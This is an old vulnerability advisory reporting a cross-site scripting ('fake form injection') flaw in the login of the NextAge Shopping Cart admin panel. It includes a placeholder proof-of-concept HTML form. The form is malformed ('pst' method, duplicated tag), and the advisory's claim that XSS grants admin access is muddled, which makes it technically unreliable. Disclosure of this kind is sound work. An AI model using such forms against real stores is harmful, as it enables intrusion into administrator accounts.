NextAge Shopping Cart Software XSS

Type securityvulns
Reporter Securityvulns
Modified 2006-04-25T00:00:00


NextAge Shopping Cart Software XSS advisory Bug Discovered by R@1D3N (amin emami) Date:25/04/2005 original advisory:

Affected software description: NextAge Shopping Cart Software Vendor: Vulnerability: Fake form injection <Xss>

information About NextAge Shopping Cart Software: NextAge Cart Software can be used both as a ready out-of-the-box shopping cart solution and as a powerful shopping cart engine for a customized web shop. NextAge Cart is an extremely powerful shopping cart and web site builder application that allows you to customize, manage and effectively market your on-line store.

Disscution: A remote user can conduct cross-site scripting attacks.The 'panel' script does not properly validate user-supplied input at the username and password.So remote user can access to admin panel

Exploit: example:

<form method="pst" action="http://[target]/[admin_Path]/index.php"> <input type="text" name="txtuserid" class="INPUT" size="30" value="xss injection code"> <br> <input type="password" name="txtpass" class="INPUT" size="30" value="xss injection code"> <br> <input <input type="submit" value="submit" class="button"> </form>

Solution: N/A

Greet:A.u.r.a - outlaw - majid - behzad